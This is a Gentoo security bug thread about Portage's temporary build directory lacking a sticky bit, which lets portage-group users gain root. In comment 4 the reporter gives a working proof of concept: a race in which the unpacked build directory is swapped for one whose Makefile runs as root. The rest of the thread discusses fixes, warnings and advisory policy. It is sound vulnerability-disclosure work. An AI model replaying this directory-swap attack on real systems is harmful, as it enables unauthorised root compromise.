Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 149062 - sys-apps/portage does not set sticky bit on $PORTAGE_TMPDIR
Summary: sys-apps/portage does not set sticky bit on $PORTAGE_TMPDIR
Status: IN_PROGRESS
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Auditing (show other bugs)
Hardware: All Linux
: Highest normal (vote)
Assignee: Gentoo Security Audit Team
URL:
Whiteboard:
Keywords:
Depends on:
Blocks: 149110
  Show dependency tree
 
Reported: 2006-09-25 07:23 UTC by Tavis Ormandy (RETIRED)
Modified: 2017-06-02 07:30 UTC (History)
9 users (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Tavis Ormandy (RETIRED) gentoo-dev 2006-09-25 07:23:32 UTC
portage does not set the sticky bit on PORTAGE_TMPDIR, allowing anybody in grou portage to r00t us.

reproduce: wait for root to emerge something, mv the directory in tmpdir somewhere else and replace with a trojaned directory.
results: 0wnz0r3d!!!!1111

plz2fix kthx.
Comment 1 Jakub Moc (RETIRED) gentoo-dev 2006-09-25 07:49:05 UTC
https://www.hosting4all.cz/
Comment 2 Allen Brooker (AllenJB) 2006-09-25 08:17:58 UTC
Have you actually examined the contents of one of the directories while it's emerging? As far as I can see all the important directories are only owned by root.

My guess is portage does only what it needs to as root.
Comment 3 Tavis Ormandy (RETIRED) gentoo-dev 2006-09-25 08:46:33 UTC
well your guess would be wrong and you would have been 0wnz0red!!
Comment 4 Tavis Ormandy (RETIRED) gentoo-dev 2006-09-25 08:58:05 UTC
# emerge beep
Calculating dependencies ...done!
>>> emerge (1 of 1) app-misc/beep-1.2.2 to /
>>> md5 src_uri ;-) beep-1.2.2.tar.gz
>>> Unpacking source...
>>> Unpacking beep-1.2.2.tar.gz to /var/tmp/portage/beep-1.2.2/work
>>> Source unpacked.

[1]+  Stopped                 sudo emerge beep

^Z here after source unpacked (obviously a real exploit would automate this by waiting for .unpacked to appear or something)

now as a normal user:

$ cd /var/tmp/portage
/var/tmp/portage$ mv beep-1.2.2 0wnz0r3d
/var/tmp/portage$ mkdir beep-1.2.2
/var/tmp/portage$ cd beep-1.2.2/
/var/tmp/portage/beep-1.2.2$ cp -r ../0wnzor3d/temp .
/var/tmp/portage/beep-1.2.2$ cp -r ../0wnzor3d/.unpacked .
/var/tmp/portage/beep-1.2.2$ mkdir work
/var/tmp/portage/beep-1.2.2/work$ cd work/
/var/tmp/portage/beep-1.2.2/work$ mkdir beep-1.2.2
/var/tmp/portage/beep-1.2.2/work$ cd beep-1.2.2
/var/tmp/portage/beep-1.2.2/work/beep-1.2.2$ cat > Makefile
all: 
        @echo you are all teh 0wnz0r3d OMG!!!
        @id
^D

now let root continue emerging:

# fg
emerge beep
you are all teh 0wnz0r3d OMG!!!
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
>>> Test phase [not enabled]: app-misc/beep-1.2.2

>>> Install beep-1.2.2 into /var/tmp/portage/beep-1.2.2/image/ category app-misc
>>> dobin: making beep executable...
install: cannot stat `beep': No such file or directory
chmod: cannot access `/var/tmp/portage/beep-1.2.2/image//usr/bin/beep': No such file or directory
doman: beep.1.gz does not exist
dodoc: CHANGELOG does not exist
dodoc: CREDITS does not exist
dodoc: README does not exist
man:
>>> Completed installing beep-1.2.2 into /var/tmp/portage/beep-1.2.2/image/

>>> Merging app-misc/beep-1.2.2 to /


Exiting on signal 2


OMG YOU ARE TEH ROOTED!!!

If i really have to make an automated exploit script, I will, but hopefully this demonstrates what I'm on about. 
Comment 5 Zac Medico gentoo-dev 2006-09-25 09:32:42 UTC
I've heard solar say that "the portage group is as good as root" when it comes to exploiting a gentoo system.  Really, this group should only be given to trusted individuals.  DISTDIR would be yet another attack vector, considering that there is a window of time between the checksums being performed and the actual unpack.
Comment 6 Sune Kloppenborg Jeppesen gentoo-dev 2006-09-25 09:38:15 UTC
Is this documented anywhere?
Comment 7 Tavis Ormandy (RETIRED) gentoo-dev 2006-09-25 09:51:59 UTC
well solar saying it doesnt make it true, if you want that to be the case we need to document it, emerge and the handbook all suggest giving out group portage as it's a low privileged group.

If you want to take the `portage is trusted` approcah, fine but we need to make the emerge warning and the handbook all make it clear that this is DANGEROUS.
Comment 8 Tavis Ormandy (RETIRED) gentoo-dev 2006-09-25 09:52:35 UTC
we've also released several GLSA's on group portage vulnerabilities.
Comment 9 SpanKY gentoo-dev 2006-09-25 10:17:10 UTC
since when have we said portage group access is ok to give out freely ?  that group has always been associated with "system admin" access
Comment 10 Tavis Ormandy (RETIRED) gentoo-dev 2006-09-25 10:20:40 UTC
$ emerge search foo

*** You are not in the portage group. You may experience cache problems
*** due to permissions preventing the creation of the on-disk cache.
*** Please add this user to the portage group if you wish to use portage.

http://www.gentoo.org/doc/en/handbook/draft/complete/handbook.xml?part=2&chap=8

 
The portage group contains all users who should be allowed to run emerge and other portage-related tools for querying the database. This doesn't allow those users to install or uninstall software though, you still need to be root for that, or have equivalent access.

Comment 11 Zac Medico gentoo-dev 2006-09-25 10:46:30 UTC
(In reply to comment #7)
> If you want to take the `portage is trusted` approcah, fine but we need to make
> the emerge warning and the handbook all make it clear that this is DANGEROUS.

That's sounds good.  I'll look through the portage code for any other misleading messages or documentation.
Comment 12 Sune Kloppenborg Jeppesen gentoo-dev 2006-09-25 13:17:56 UTC
Reassigning since this is security issue.

Local privilege escalation with target delay of 3 days.

Portage team please provide an updated ebuild.

Note (to self):Either we'll need a workaround to remove untrusted users from the Portage group or a resolution if the issue is solved so glsa-check can handle it. If the workaround solution is chosen we need to get the doc guys to update the docs.
Comment 13 Sune Kloppenborg Jeppesen gentoo-dev 2006-09-25 13:19:25 UTC
Bah, and now actually reassigning.
Comment 14 Zac Medico gentoo-dev 2006-09-25 13:34:21 UTC
(In reply to comment #12)
> Portage team please provide an updated ebuild.

Great, I can use this as an excuse to roll out the 2.1.1-r1 that I've been procrastinating on. :)
Comment 15 Zac Medico gentoo-dev 2006-09-25 20:38:00 UTC
The following message is now displayed in both portage-2.1.1-r1 and portage-2.1.2_pre1-r3:

*** WARNING ***  For security reasons, only system administrators should be
*** WARNING ***  allowed in the portage group.  Untrusted users or processes
*** WARNING ***  can potentially exploit the portage group for attacks such as
*** WARNING ***  local privilege escalation.

Comment 16 Sune Kloppenborg Jeppesen gentoo-dev 2006-09-25 21:08:13 UTC
Thx Zac.

Arhces please test and mark stable. Target keywords are:

portage-2.1.1-r1.ebuild:KEYWORDS="alpha amd64 arm hppa ia64 m68k mips ppc ppc-macos ppc64 s390 sh sparc x86 ~x86-fbsd"

Also CC'ing the docs team. This bug will probably require some docs to be updated too.

Comment 17 Zac Medico gentoo-dev 2006-09-26 01:48:16 UTC
Please refer to bug 149110 for a complete list of fixes in 2.1.1-r1.
Comment 18 Markus Rothe (RETIRED) gentoo-dev 2006-09-26 02:06:37 UTC
ppc64 stable
Comment 19 Christian Faulhammer (RETIRED) gentoo-dev 2006-09-26 02:32:45 UTC
Tested with python 2.4.3-r4 (see bug #149065)

1) emerges fine
2) passes collision test
3) works (updated my system, about 12 packages)

Portage 2.1.1 (default-linux/x86/2006.1/desktop, gcc-4.1.1, glibc-2.4-r3, 2.6.17-gentoo-r8 i686)
=================================================================
System uname: 2.6.17-gentoo-r8 i686 AMD Athlon(tm) XP 2500+
Gentoo Base System version 1.12.5
Last Sync: Tue, 26 Sep 2006 07:20:02 +0000
app-admin/eselect-compiler: [Not Present]
dev-java/java-config: 1.2.11-r1
dev-lang/python:     2.4.3-r1
dev-python/pycrypto: 2.0.1-r5
dev-util/ccache:     [Not Present]
dev-util/confcache:  [Not Present]
sys-apps/sandbox:    1.2.17
sys-devel/autoconf:  2.13, 2.59-r7
sys-devel/automake:  1.4_p6, 1.5, 1.6.3, 1.7.9-r1, 1.8.5-r3, 1.9.6-r2
sys-devel/binutils:  2.16.1-r3
sys-devel/gcc-config: 1.3.13-r3
sys-devel/libtool:   1.5.22
virtual/os-headers:  2.6.17-r1
ACCEPT_KEYWORDS="x86"
AUTOCLEAN="yes"
CBUILD="i686-pc-linux-gnu"
CFLAGS="-O2"
CHOST="i686-pc-linux-gnu"
CONFIG_PROTECT="/etc /usr/kde/3.5/env /usr/kde/3.5/share/config /usr/kde/3.5/shutdown /usr/share/X11/xkb /usr/share/config /usr/share/texmf/dvipdfm/config/ /usr/share/texmf/dvips/config/ /usr/share/texmf/tex/generic/config/ /usr/share/texmf/tex/platex/config/ /usr/share/texmf/xdvi/"
CONFIG_PROTECT_MASK="/etc/env.d /etc/gconf /etc/revdep-rebuild /etc/splash /etc/terminfo"
CXXFLAGS="-O2"
DISTDIR="/usr/portage/distfiles"
FEATURES="autoconfig ccache collision-protect distlocks metadata-transfer parallel-fetch sandbox sfperms strict test"
GENTOO_MIRRORS="ftp://sunsite.informatik.rwth-aachen.de/pub/Linux/gentoo/"
LANG="de_DE@euro"
LC_ALL="de_DE@euro"
LINGUAS="de"
MAKEOPTS="-j2"
PKGDIR="/usr/portage/packages"
PORTAGE_RSYNC_OPTS="--recursive --links --safe-links --perms --times --compress --force --whole-file --delete --delete-after --stats --timeout=180 --exclude='/distfiles' --exclude='/local' --exclude='/packages'"
PORTAGE_TMPDIR="/var/tmp"
PORTDIR="/usr/portage"
PORTDIR_OVERLAY="/usr/local/portage"
SYNC="rsync://rsync.informatik.rwth-aachen.de/gentoo-portage"
USE="x86 3dnow 3dnowext X Xaw3d a52 alsa artworkextra asf audiofile bash-completion beagle berkdb bidi bitmap-fonts bootsplash branding bzip2 cairo cdda cddb cdparanoia cdr cli cracklib crypt css cups curl custom-cflags dbus dga directfb divx4linux dlloader dri dts dvd dvdr dvdread dvi eds elibc_glibc emacs emboss encode esd evo exif expat fam fat fbcon ffmpeg firefox fortran ftp gb gcj gdbm gif gnome gpm gstreamer gtk gtk2 gtkhtml hal icq idn imagemagick imap input_devices_keyboard input_devices_mouse ipv6 isdnlog java javascript jikes jpeg jpeg2k kde kernel_linux ldap leim libg++ linguas_de lm_sensors mad maildir matroska mbox mhash mikmod mime mmx mmxext mng mono mp3 mpeg mpeg2 mule nautilus ncurses nforce2 nls nocardbus nptl nptlonly nsplugin nvidia objc ogg opengl pam pcre pdf perl plotutils pmu png ppds pppd preview-latex print python qt3 qt4 quicktime readline reflection reiserfs samba sdk session slang spell spl sse ssl svg svga t1lib tcltk tcpd tetex theora thunderbird tiff truetype truetype-fonts type1-fonts udev usb userland_GNU vcd video_cards_fbdev video_cards_radeon video_cards_vesa videos vorbis win32codecs wmf wxwindows xine xml xorg xosd xv xvid zlib"
Unset:  CTARGET, EMERGE_DEFAULT_OPTS, INSTALL_MASK, LDFLAGS, PORTAGE_RSYNC_EXTRA_OPTS
Comment 20 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2006-09-26 02:45:53 UTC
> since when have we said portage group access is ok to give out freely ?  that
> group has always been associated with "system admin" access


Hi everybody,

"system admin" group does not mean giving free root access.

Many everyday-users are in the "adm" and/or "wheel" groups, not only concerning the Gentoo distro. I'm sure we all agree that these groups are for sysadmin only.

That allows them to act as a sysadmin, because thus they can view auth.log (among other logfiles), and they can run /bin/su... but they still need another authentication process (a password) to become root !

In the actual situation, belonging to the "portage" group is synonym of being root. I'm a trusted user from my point of vue, so i'm in the "portage" group. If someone could take a shell with my account, he is root. I don't like that :/  Where are the permissions isolations taught in the most basic security books ?


Conclusion : i dislike this resolution.
I'll build my own ebuilds in the overlay and turn on the sticky bit.


@security: i guess we will issue a GLSA since this bug is rated A1. I think it'll be funny
Comment 21 Christoph Mende (RETIRED) gentoo-dev 2006-09-26 04:41:00 UTC
- emerges fine on amd64
- passes collision-test
- passes multilib-strict
- works

Portage 2.1.1-r1 (default-linux/amd64/2006.1/desktop, gcc-4.1.1, glibc-2.4-r3, 2.6.18-ck1 x86_64)
=================================================================
System uname: 2.6.18-ck1 x86_64 AMD Athlon(tm) 64 Processor 3000+
Gentoo Base System version 1.12.5
Last Sync: Tue, 26 Sep 2006 10:50:01 +0000
distcc 2.18.3 x86_64-pc-linux-gnu (protocols 1 and 2) (default port 3632) [disabled]
ccache version 2.3 [enabled]
app-admin/eselect-compiler: [Not Present]
dev-java/java-config: 1.3.7, 2.0.30
dev-lang/python:     2.4.3-r3
dev-python/pycrypto: 2.0.1-r5
dev-util/ccache:     2.3
dev-util/confcache:  [Not Present]
sys-apps/sandbox:    1.2.17
sys-devel/autoconf:  2.13, 2.59-r7
sys-devel/automake:  1.4_p6, 1.5, 1.6.3, 1.7.9-r1, 1.8.5-r3, 1.9.6-r2
sys-devel/binutils:  2.16.1-r3
sys-devel/gcc-config: 1.3.13-r3
sys-devel/libtool:   1.5.22
virtual/os-headers:  2.6.11-r2
ACCEPT_KEYWORDS="amd64"
AUTOCLEAN="yes"
CBUILD="x86_64-pc-linux-gnu"
CFLAGS="-march=k8 -O2 -pipe"
CHOST="x86_64-pc-linux-gnu"
CONFIG_PROTECT="/etc /usr/share/X11/xkb /var/qmail/alias /var/qmail/control /var/vpopmail/domains /var/vpopmail/etc"
CONFIG_PROTECT_MASK="/etc/env.d /etc/env.d/java/ /etc/gconf /etc/java-config/vms/ /etc/revdep-rebuild /etc/terminfo"
CXXFLAGS="-march=k8 -O2 -pipe"
DISTDIR="/usr/portage/distfiles"
FEATURES="autoconfig ccache collision-protect distlocks metadata-transfer multilib-strict parallel-fetch sandbox sfperms strict test"
GENTOO_MIRRORS="ftp://linux.rz.ruhr-uni-bochum.de/gentoo-mirror/ ftp://ftp.uni-erlangen.de/pub/mirrors/gentoo ftp://ftp.join.uni-muenster.de/pub/linux/distributions/gentoo ftp://ftp.wh2.tu-dresden.de/pub/mirrors/gentoo ftp://ftp.join.uni-muenster.de/pub/linux/distributions/gentoo ftp://ftp-stud.fht-esslingen.de/pub/Mirrors/gentoo/ ftp://ftp.gentoo.mesh-solutions.com/gentoo/ ftp://pandemonium.tiscali.de/pub/gentoo/ "
LANG="en_US.ISO8859-1"
LC_ALL="en_US.ISO8859-1"
MAKEOPTS="-j3"
PKGDIR="/usr/portage/packages"
PORTAGE_RSYNC_EXTRA_OPTS="--exclude-from=/etc/portage/rsync_excludes"
PORTAGE_RSYNC_OPTS="--recursive --links --safe-links --perms --times --compress --force --whole-file --delete --delete-after --stats --timeout=180 --exclude='/distfiles' --exclude='/local' --exclude='/packages'"
PORTAGE_TMPDIR="/var/tmp"
PORTDIR="/usr/portage"
PORTDIR_OVERLAY="/usr/local/portage/overlay"
SYNC="rsync://rsync.europe.gentoo.org/gentoo-portage"
USE="amd64 X a52 aac acpi alsa amr avi berkdb bitmap-fonts branding bzip2 cairo cdinstall cdparanoia cdr cli crypt cups dbus divx dlloader dri dvd dvdr dvdread elibc_glibc emboss encode expat fam firefox foomaticdb fortran gdbm gif glut gnutls gpm gstreamer gtk gtk2 hal imagemagick input_devices_evdev input_devices_keyboard isdnlog jpeg kernel_linux lcms ldap libg++ lirc lirc_devices_inputlirc logrotate mad mikmod mng mp3 mpeg musicbrainz ncurses nls nptl nptlonly offensive ogg opengl pam pcre pdflib php png ppds pppd quicktime readline reflection reiserfs rtc sdl session socks5 spl ssl svg symlink tcpd tiff truetype truetype-fonts type1-fonts udev unicode userland_GNU userlocales v4l v4l2 video_cards_fglrx video_cards_radeon vim-with-x vorbis wmp x264 xfs xine xinerama xml xorg xv xvid zlib"
Unset:  CTARGET, EMERGE_DEFAULT_OPTS, INSTALL_MASK, LDFLAGS, LINGUAS
Comment 22 Simon Stelling (RETIRED) gentoo-dev 2006-09-26 04:44:23 UTC
amd64 is s0 s4v3 a94|n!
Comment 23 Tobias Scherbaum (RETIRED) gentoo-dev 2006-09-26 04:50:02 UTC
ppc stable
Comment 24 Andrea Barisani (RETIRED) gentoo-dev 2006-09-26 05:46:54 UTC
Portage team: why don't you just set the sticky bit and help us all shifting the
point of 'portage' group to something that really is useful for querying and stuff but *not* a user that would allow easy root access.

The way this is being handled is kinda ridiculous, clearly this could be done better and there's a problem with the current scenario. Now I don't mean that it's
easy to fix all the possible attack vector, but acting like this prevents any
form of development towards a better approach security wise.
Comment 25 Alec Warner archtester Gentoo Infrastructure gentoo-dev Security 2006-09-26 07:15:36 UTC
In reply to comment #24)
> Portage team: why don't you just set the sticky bit and help us all shifting
> the
> point of 'portage' group to something that really is useful for querying and
> stuff but *not* a user that would allow easy root access.
> 
> The way this is being handled is kinda ridiculous, clearly this could be done
> better and there's a problem with the current scenario. Now I don't mean that
> it's
> easy to fix all the possible attack vector, but acting like this prevents any
> form of development towards a better approach security wise.
> 

as far as I know; the only thing preventing people from doing RO queries against the cache and VDB are lockfiles; since you need portage-GID to create lockfiles in those dirs (and portage needs the lockfiles to prevent corruption)

The vdb and cache are world readable.

Zac; could we somehow shift the lockfiles somewhere else? (/tmp?)
Comment 26 Bo Ørsted Andresen (RETIRED) gentoo-dev 2006-09-26 07:29:30 UTC
This is mildly annoying at least:

$ emerge -pv portage

*** You are not in the portage group. You may experience cache problems
*** due to permissions preventing the creation of the on-disk cache.
*** Please add this user to the portage group if you wish to use portage.
[...]

Also this is an issue when querying with a user that isn't in the portage group:

$ cat /var/log/emerge.log
cat: /var/log/emerge.log: Permission denied
Comment 27 Sune Kloppenborg Jeppesen gentoo-dev 2006-09-26 08:43:42 UTC
Back to ebuild? status for now, unCC'ing arches.

Portage is there any specific reason not to fix this issue?
Comment 28 Zac Medico gentoo-dev 2006-09-26 10:56:02 UTC
(In reply to comment #27)
> Back to ebuild? status for now, unCC'ing arches.
> 
> Portage is there any specific reason not to fix this issue?

Sure, we can set the sticky bit on PORTAGE_TMPDIR, but that's not the only vector of attack via the portage group.  For at least the near future, danger associated with the portage group will not change significantly.  You can't expect the portage group to become safe for untrusted users in a matter of days.  So, the best immediate action is to advise people about the risk.
Comment 29 Tavis Ormandy (RETIRED) gentoo-dev 2006-09-26 11:52:33 UTC
Zac what are these attack vectors? the two already mentioned can be solved easily.

Right now group portage is more powerful than group wheel, as at least in group wheel you need a password to get root. This clearly is not correct, the documented purpose of group portage is `allowed to query the database`, why does this need to be insecure?
Comment 30 Zac Medico gentoo-dev 2006-09-26 12:02:37 UTC
(In reply to comment #29)
> Zac what are these attack vectors? the two already mentioned can be solved
> easily.

PORTAGE_TMPDIR and DISTDIR are the only two that I know of atm.  If a file in $DISTDIR doesn't have a safe owner, we can chown it during the fetch phase (before doing checksums) when possible, and die if it's not possible to chown the file.

> Right now group portage is more powerful than group wheel, as at least in group
> wheel you need a password to get root. This clearly is not correct, the
> documented purpose of group portage is `allowed to query the database`, why
> does this need to be insecure?

I can't think of a reason at the moment why it "needs to be insecure".  I'll certainly look into making it secure (see distfiles example above).
Comment 31 Tavis Ormandy (RETIRED) gentoo-dev 2006-09-26 12:14:59 UTC
Zac: Excellent! would you mind making these modifications? (distdir will need sticky bit as well) group portage would then fall into what a user might reasonably expect.

Comment 32 Zac Medico gentoo-dev 2006-09-26 12:24:49 UTC
(In reply to comment #31)
> Zac: Excellent! would you mind making these modifications? (distdir will need
> sticky bit as well) group portage would then fall into what a user might
> reasonably expect.

Yes, I will.  When it's finished (hopefully only a day or two) we can release it in 2.1.2_pre for testing and then backport it to 2.1.1 after it's proven itself.
Comment 33 Sune Kloppenborg Jeppesen gentoo-dev 2006-09-26 13:10:25 UTC
Great news!

Perhaps we should issue a temp GLSA until we get this one fixed?
Comment 34 Zac Medico gentoo-dev 2006-09-26 13:31:09 UTC
(In reply to comment #33)
> Perhaps we should issue a temp GLSA until we get this one fixed?

That's probably a good idea.  Note that people can manually set the sticky bit on ${PORTAGE_TMPDIR}/portage in order to eliminate most of the risk immediately.
Comment 35 solar@gentoo.org 2006-09-27 12:53:03 UTC
I would not even bother with a GLSA. There have been many misc ways to exploit 
portage over the years via the portage group that have been unworthy of reporting. 
In short every time you change it to attempt to be secure in some way we seem to 
end up breaking the logic thats used when switching from userpriv and root. Both 
end up fighting over who has perms to what and we make portage less useful each 
time. Really there are lots of fun ways to export portage due to it using python 
as it's underlying lang (atexit.so being an example) even if portage itself 
handled perms in a perfect way.
Comment 36 Tavis Ormandy (RETIRED) gentoo-dev 2006-09-27 13:15:05 UTC
(In reply to comment #35)
> I would not even bother with a GLSA. There have been many misc ways to exploit 
> portage over the years via the portage group that have been unworthy of
> reporting.

Please name them, or assign bugs to the auditing team. The documented purpose of group portage is `allowed to query the database`, not `allowed to root the system`, until that changes these issues need to be fixed. just because this is hard work doesnt mean we shouldnt protect our users.

> Really there are lots of fun ways to export portage due to it using
> python 
> as it's underlying lang (atexit.so being an example) even if portage itself 
> handled perms in a perfect way.
> 

What is "exporting portage"? what is atexit.so an example of? If you can make root load an arbitrary dso please demonstrate how so we can fix it asap.
Comment 37 Tavis Ormandy (RETIRED) gentoo-dev 2006-09-27 15:11:39 UTC
(In reply to comment #36)
> 
> What is "exporting portage"? what is atexit.so an example of? If you can make
> root load an arbitrary dso please demonstrate how so we can fix it asap.
> 

Please disregard this, solar explained what he meant on irc, we're looking into it.

Comment 38 Zac Medico gentoo-dev 2006-09-28 08:03:18 UTC
The ccache cache is yet another potential vector of attack.  I suppose we can create personal ccache directories for each (non-root) user that uses portage.
Comment 39 Zac Medico gentoo-dev 2006-10-03 22:18:44 UTC
While make the permission changes I've found that we need some way to tell portage  when it needs to apply special permissions for a specific user.  In the past we've just given the permissions to anybody in the portage group.  This type of problem comes up, for example, when sudo is used to run the "setup" phase of an ebuild and the following phases are run as a less privileged user.  It's not really a problem for the userpriv feature because in that case it can be assumed that the "portage" user should be given special privileges.
Comment 40 Marius Mauch (RETIRED) gentoo-dev 2006-10-08 07:15:53 UTC
(In reply to comment #39)
> While make the permission changes I've found that we need some way to tell
> portage  when it needs to apply special permissions for a specific user.  In
> the past we've just given the permissions to anybody in the portage group. 

Simple solution: add another group portage-build or so that just contains trusted users (like portage). Or is there any reason that builddirs have to be GID portage?
Comment 41 Zac Medico gentoo-dev 2006-10-08 10:39:24 UTC
(In reply to comment #40)
> Simple solution: add another group portage-build or so that just contains
> trusted users (like portage). Or is there any reason that builddirs have to be
> GID portage?

A portage-build group would probably work.  Maybe it would be better to eliminate the idea that users who only need search functionality (or something similar) need to be in the portage group.  If the cache has already been generated by a privileged user, they don't need write access to it.
Comment 42 Marius Mauch (RETIRED) gentoo-dev 2006-10-08 12:31:03 UTC
(In reply to comment #41)
> (In reply to comment #40)
> > Simple solution: add another group portage-build or so that just contains
> > trusted users (like portage). Or is there any reason that builddirs have to be
> > GID portage?
> 
> A portage-build group would probably work.  Maybe it would be better to
> eliminate the idea that users who only need search functionality (or something
> similar) need to be in the portage group.  If the cache has already been
> generated by a privileged user, they don't need write access to it.

Don't like that idea:
a) adds new contrains on mode of operation
b) requires reeducation of users regarding the portage group
c) there are other potential uses for the group separation (e.g. ro access to vdb)
Comment 43 Zac Medico gentoo-dev 2006-10-08 19:08:07 UTC
(In reply to comment #42)
> a) adds new contrains on mode of operation
> b) requires reeducation of users regarding the portage group

If the plain "portage" group is going to be for "untrusted users", then we probably shouldn't allow them to have write access to metadata because it leaves metadata injection as a potentional attack vector.  At a minimum, it could be used to perform some type of denial of service attack on other portage users.

> c) there are other potential uses for the group separation (e.g. ro access to
> vdb)

Read only access is usually pretty harmess, but still, I don't think they should have write access to something as critical as the metadata cache.
Comment 44 Vic Fryzel (shellsage) (RETIRED) gentoo-dev 2007-01-27 21:13:11 UTC
I vote no, this is pretty hard to exploit;  the number of gentoo systems that actually have additional users in the portage group is low, anyway.
Comment 45 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2007-02-10 21:29:12 UTC
(In reply to comment #44)
> I vote no, this is pretty hard to exploit;  the number of gentoo systems that
> actually have additional users in the portage group is low, anyway.
> 

That doesn't follow our policy. One may argue that it's a B1 and not a A1 since the system must have additional users in the portage group, which is not the default configuration. And a GLSA is needed for a B1 too.

But without considering the policy, i agree with you.
Comment 46 Vic Fryzel (shellsage) (RETIRED) gentoo-dev 2007-05-11 01:55:43 UTC
I guess given the policy I'd vote yes, but I still lean towards no.
Comment 47 Vic Fryzel (shellsage) (RETIRED) gentoo-dev 2007-05-20 15:35:50 UTC
I vote yes.
Comment 48 Sune Kloppenborg Jeppesen gentoo-dev 2007-06-10 08:06:41 UTC
Since nobody picked this up when I went on hiatus I'll try to sort out this now.

Portage what is the status of this?

The handbook (comment #10) is still not updated. So unless Portage is fixed we'll need the doc team to update the handbook (and perhaps other docs).
Comment 49 Zac Medico gentoo-dev 2007-06-10 10:04:41 UTC
(In reply to comment #48)
> Portage what is the status of this?

The portage group still has full access to $PORTAGE_TMPDIR, $DISTDIR, and /var/cache/edb/dep/.  Setting sticky bits in any of those locations leads to usability issues since the portage group is used to share access in various situations.  In order to use sticky bits, the user will be required to grant permissions manually or else configure portage to automatically grant permissions to a specific user or group when appropriate.  For example, if a user runs `sudo foo.ebuild setup` (so that enewuser or enewgroup can operate), they'll either have to adjust the $PORTAGE_TMPDIR permissions manually afterwards or else specify a user or group so that portage can do it automatically.

Current versions of portage do not encourage the user to add themselves to the portage group like older versions did.  Instead, portage tries to avoid mentioning the group whenever possible and it shows a message like in comment #15 when the group is mentioned.
Comment 50 Sune Kloppenborg Jeppesen gentoo-dev 2007-06-10 10:55:35 UTC
Thx Zac. We need to get the handbook (comment #10) and probably other docs updated to reflect this. 

CC'ing docs-team to advise and do the changes needed.
Comment 51 nm (RETIRED) gentoo-dev 2007-06-10 15:34:01 UTC
(In reply to comment #50)
> Thx Zac. We need to get the handbook (comment #10) and probably other docs
> updated to reflect this. 
> 
> CC'ing docs-team to advise and do the changes needed.


That particular handbook in comment #10 was SwifT's old experiment in rewriting the existing handbook; it is not something actually in use, so there's no need to do anything to that particular doc.

As best as I can tell, we don't talk about the portage group in *any* other documents. Do we need to do anything, then?
Comment 52 Jan Kundrát (RETIRED) gentoo-dev 2007-06-10 23:30:01 UTC
(In reply to comment #10)
http://www.gentoo.org/doc/en/handbook/draft/complete/handbook.xml?part=2&chap=8

As Josh already said, this is an old draft of another document, but I've removed the whole portage group reference from it. If there's anything else we should do, just ping us.
Comment 53 Sune Kloppenborg Jeppesen gentoo-dev 2007-06-11 06:43:52 UTC
Thanks docs-team I think that should be fine (and I didn't see the top disclaimer if it was there yesterday).

Security, it's time to discuss wether this one merits a GLSA?
Comment 54 Vic Fryzel (shellsage) (RETIRED) gentoo-dev 2007-06-16 10:43:22 UTC
I vote yes, at least as some formal documentation that this can happen, and should be avoided.
Comment 55 Matt Drew (RETIRED) gentoo-dev 2007-06-16 11:20:00 UTC
I vote yes, only because of policy - I agree that there are very few actual uses of the portage group.
Comment 56 solar (RETIRED) gentoo-dev 2007-07-01 02:23:18 UTC
I still vote no. all my comments still stand
Comment 57 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2007-07-02 21:06:11 UTC
After having talked with some gentoo end-users, it appears that the circumstances where a member of %portage has not already root access are rather rare. Also in a multi-user server context at work, the %portage group is never bigger than the %wheel group. So I vote no-glsa, despite the policy.

Comment 58 Pierre-Yves Rofes (RETIRED) gentoo-dev 2007-07-26 13:04:03 UTC
okay so what do we do here?

I did some research in our archives, and we already issued 2 glsas about portage itself:

http://www.gentoo.org/security/en/glsa/glsa-200411-13.xml
http://www.gentoo.org/security/en/glsa/glsa-200404-01.xml

so, on one hand we already issued glsas for things less critical, but on the other hand I agree with Falco. And if $user is in the portage group, even if he's not root, he already has the ability to do some nasty things, e.g emerge -C {baselayout,coreutils,gcc,init,xorg-x11,bash,grub,portage,...} and your box would be quite fu><0r3d and need some liveCD to be fixed.

Of course, launch a DoS != root the box, but it should be enough to convince the admin not to grant portage group to untrusted users.
So in the end, I'd still be in favor of a glsa, at least to remind that portage group is for sysadmins only.
Comment 59 Robert Buchholz (RETIRED) gentoo-dev 2007-12-09 23:12:38 UTC
(In reply to comment #58)
> even if
> he's not root, he already has the ability to do some nasty things, e.g emerge
> -C {baselayout,coreutils,gcc,init,xorg-x11,bash,grub,portage,...} and your box
> would be quite fu><0r3d and need some liveCD to be fixed.

`emerge -C´ can only be run as root.

Since a solution for this issue is infeasible (comment #49), the question is this:
  Do we send out a GLSA stating that Portage, prior to 2.1.1-r1
  recommended to put users in the portage group, allowing root compromise.

I appreciate comment #57, but shouldn't we just send a GLSA to get this over with?
Comment 60 Pierre-Yves Rofes (RETIRED) gentoo-dev 2007-12-13 22:22:27 UTC
okay, this bug has been open for way too long, but now we have GLSA 200712-11 (bug #193589), meaning users should upgrade portage no matter what. IMO we don't need another GLSA for this, so I'll close this bug wihtout GLSA in a few days, unless somebody objects in the meanwhile.
Comment 61 Robert Buchholz (RETIRED) gentoo-dev 2007-12-13 22:43:23 UTC
(In reply to comment #60)
> okay, this bug has been open for way too long, but now we have GLSA 200712-11
> (bug #193589), meaning users should upgrade portage no matter what. IMO we
> don't need another GLSA for this, so I'll close this bug wihtout GLSA in a few
> days, unless somebody objects in the meanwhile.

The problem is that on systems installed before September 2006, users might be in the portage group without someone noticing. This bug is worked around as far as no admin is encouraged to put every user in portage, but updating portage will not remove those users already added.

Also, the fact that the attack described in comment 4 is still possible should not count as "bug fixed" :-/

Comment 62 Pierre-Yves Rofes (RETIRED) gentoo-dev 2008-02-12 21:54:47 UTC
ok, I discussed this with falco few days ago, and we came to the conclusion that
we can't just send a warning glsa since the bug is not fixed.
So, like it was mentioned in previous comments, the least we could do, with the 2008.0 approaching, is updating the docs to warn users.
Currently we have: http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&chap=11
A big red warning about not granting portage group access to untrusted users wouldn't be too much IMHO... comments?
